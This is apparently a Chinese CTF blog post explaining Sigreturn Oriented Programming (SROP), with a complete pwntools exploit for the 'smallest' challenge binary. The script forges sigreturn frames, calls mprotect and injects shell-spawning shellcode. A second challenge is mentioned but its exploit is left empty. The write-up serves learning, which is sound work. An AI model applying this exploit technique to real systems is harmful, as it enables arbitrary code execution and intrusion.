SROP_SMALLEST

最近发现自己技能点很多都没有点…平时忙了点抽点时间把技能点上…SROP

SROP

SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。#摘自ctfwiki

paper
slide

原理及内容在ctfwiki上已经介绍的比较清楚
nier

过程

执行0xf号(将栈上已经预先放置好的数据弹出)==>控制执行流
可以设置esp达到连续攻击的效果.

要求

  • 较大空间 放置signal frame(约0x100)
  • 泄露地址
  • syscall-address

    难点

    理解了感觉没什么难的..利用了15号调用可以劫持执行流..
    想出这个的人真厉害…

    exp OF smallest

    binary
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    from pwn import *
    context.log_level='debug'
    main=0x0000000004000B0
    syscall=0x00000000004000be
    p=process('./smallest')


    context.arch='amd64'
    shellcode=asm(shellcraft.sh())

    p.send(p64(main)*3)
    sleep(0.3)
    #1

    raw_input()
    p.send("\xb3")

    p.read(8)

    stack=u64(p.read(8))
    log.warning(hex(stack))

    sig=SigreturnFrame()
    sig.rax=0
    sig.rdi=0
    sig.rsi=stack&0xfffffffffffffff0
    sig.rdx=0x200
    sig.rip=0x4000be
    sig.rsp=stack&0xfffffffffffffff0
    ret=0x00000000004000c0
    #2
    gdb.attach(p)
    raw_input()

    p.send(p64(main)+p64(0)+str(sig))
    sleep(0.3)
    #3

    payload=p64(0x0000000004000Be)+p64(0)[:-1]
    raw_input()
    p.send(payload)
    sleep(0.3)

    sig=SigreturnFrame()
    sig.rax=10
    sig.rdi=stack&0xffffffffffff0000
    sig.rsi=0x10000
    sig.rdx=7
    sig.rip=0x4000be
    sig.rsp=0x110+(stack&0xfffffffffffffff0)
    ret=0x00000000004000c0
    payload=p64(main)+p64(0)
    raw_input()
    p.send(payload+str(sig)+p64(0xdeadbeef)+p64((stack&0xffffffffffff0)+0x118)+asm(shellcraft.sh()))

    sleep(0.3)
    payload=p64(0x4000Be)+p64(0)[:-1]
    raw_input()
    p.send(payload)


    p.interactive()

review

发现调试的时候可以加上raw_input防止输入乱序

echo_server

binary
顺便放一题partial write + ret slide
发现栈其实很随便
aslr下需要概率打通.

exp

1
2


Author: n132!
Link: https://n132.github.io/2019/04/10/2019-04-10-SROP-SMALLEST/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.